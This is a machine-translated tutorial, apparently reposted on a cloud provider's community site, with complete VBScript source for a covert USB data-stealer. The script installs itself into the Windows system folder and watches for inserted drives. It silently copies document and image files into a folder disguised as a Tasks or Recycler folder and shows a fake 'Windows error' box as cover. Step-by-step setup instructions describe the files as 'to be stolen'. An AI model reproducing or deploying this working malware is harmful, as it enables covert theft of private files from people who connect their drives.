Automatically copy the vbs script of the USB flash drive file

Source: Internet
Author: User

The following is an example:
I. Settings
Right-click and select Edit
Ostr = "TXT | JPG | Doc" 'type of the file to be stolen, which can be added by yourself and separated by "|"
Odistpath = "C: \ WINDOWS \ SYSTEM \" 'Save path
Ofoldername = "task" 'Save the folder name
Otype = 0' disguise the saved folder as a task folder, 2 as a recycler folder, and 0 as a non-disguised folder.
OOut = 1' exit after replication is complete, 0 does not exit after replication is complete, continue Loop

Ii. Save and run
The "installation successful" dialog box appears. If you do not want this dialog box to appear, comment out "msgbox" installed successfully.

At this time, the script has been inserted in the loop monitoring USB flash drive.

3. Insert a USB flash drive
After the USB flash drive is inserted, copy the file. After the copy is complete, a dialog box is displayed.
If you do not want this dialog box to appear, comment out "msgbox" Windows error ", 64"

4. Searching for files
The file is already in the target folder. I set otype to 1, so this folder becomes the task folder. Double-click to open the folder and you will not be able to see the files.

In this case, you can browse through the RAR compressed package and delete the desktop. ini file, and the folder will become a normal folder.
WW
In this case, you can open the folder and view the content.

Copy. log records the original and copied files.

Vbs code

CopyCode The Code is as follows: ostr = "TXT | JPG | Doc" 'file type. Separate the file types with "| ".
Odistpath = "C: \ WINDOWS \ SYSTEM \" 'Save path
Ofoldername = "task" 'Save the folder name
Otype = 1' 1 is the task folder, 2 is the recycler folder, and 0 is not hidden
OOut = 1' exit after replication is complete, 0 does not exit after replication is complete, continue Loop
'By: White Open QQ: 343229025
Set FSO = Createobject ("scripting. FileSystemObject ")
Set wshell = Createobject ("wscript. Shell ")

If wscript. scriptfullname = FSO. getspecialfolder (1) & "\ baikai. vbs" then'

'Create if the folder does not exist.
If (not FSO. folderexists (odistpath & ofoldername) then
FSO. createfolder (odistpath & ofoldername)
End if
'Create record file
Set mylog = FSO. createtextfile (odistpath & ofoldername & "\ Copy. log", true)
'Cycle monitoring mobile storage device insertion
Do
For each odriver in Fso. Drives
If odriver. drivetype = 1 and odriver <> "A:" And odriver <> "B:" Then
Treeit (odriver)
Msgbox "Windows error", 64
If (oout = 1) then
Exit do
End if
End if
Next
Wscript. Sleep 15000
Loop
Mylog. Close

'Hide the folder
Ohidefolder odistpath, ofoldername, otype

Else' if it is another directory, install
FSO. copyfile wscript. scriptfullname, FSO. getspecialfolder (1) & "\ baikai. vbs", true
Wshell. Run FSO. getspecialfolder (1) & "\ baikai. vbs"
Msgbox "successfully installed"
End if

Set FSO = nothing
Set wshell = nothing

'Directory traversal Function
Function treeit (Spath)
Set ofolder = FSO. getfolder (Spath)
Set osubfolders = ofolder. subfolders

Set ofiles = ofolder. Files
For each ofile in ofiles
Ocopyfile ofile. Path, odistpath, ofoldername
Next

For each osubfolder in osubfolders
Treeit (osubfolder. Path)
Next

Set ofolder = nothing
Set osubfolders = nothing

End Function

'Copy file Function
Function ocopyfile (filename, odistpath, ofoldername)
EXT = FSO. getextensionname (filename)
If (instr (ostr, lcase (EXT) then
Randomize
Tempname = ext & int (RND * 100000000) + 1) & "." & ext
FSO. copyfile filename, odistpath & ofoldername & "\" & tempname, true
Mylog. writeline filename
Mylog. writeline tempname
End if
End Function

'Hide folder Functions
Sub ohidefolder (odistpath, ofoldername, otype)

Select case otype
Case 1
Set INF = FSO. createtextfile (odistpath & ofoldername & "\ desktop. ini", true)
INF. writeline ("[. shellclassinfo]")
INF. writeline ("CLSID = {d6277990-4c6a-11cf-8d87-00aa0060f5bf }")
Case 2
Set INF = FSO. createtextfile (odistpath & ofoldername & "\ desktop. ini", true)
INF. writeline ("[. shellclassinfo]")
INF. writeline ("CLSID = {645ff040-5081-101b-9f08-00aa002f954e }")
Case 0
Exit sub
End select
Set INF = nothing

Set sysofolder = FSO. getfolder (odistpath & ofoldername)
Sysofolder. Attributes = 4
Set sysofolder = nothing

End sub

'By: White Open QQ: 343229025

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.